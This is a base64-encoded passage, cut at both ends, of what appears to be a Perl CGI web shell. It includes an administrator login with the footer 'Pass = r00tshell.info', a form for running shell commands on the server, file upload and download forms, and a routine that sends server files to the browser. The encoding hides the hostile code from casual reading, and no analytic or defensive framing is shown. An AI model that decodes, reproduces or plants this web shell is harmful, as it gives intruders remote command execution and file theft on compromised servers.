ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxicj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7ClR5cGluZ1RleHQucnVuQWxsKCk7Cgo8L3NjcmlwdD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNoaWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9nOwoJJHRleHQgPX4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQpCgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0iIjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7CgoKUGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjxicj4KCTxmb250IGNvbG9yPXJlZD49PC9mb250Pjxmb250IGNvbG9yPXJlZD4tLS0mZ3Q7PGZvbnQgY29sb3I9I2ZmOTkwMD5QYXNzID0gcjAwdHNoZWxsLmluZm88L2ZvbnQ+Jmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+PC9odG1sPiI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR1cm4gPDxFTkQ7CjwvdGV4dGFyZWE+Cjxicj48Zm9udCBjb2xvcj15ZWxsb3c+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+Cjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4KRU5ECgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL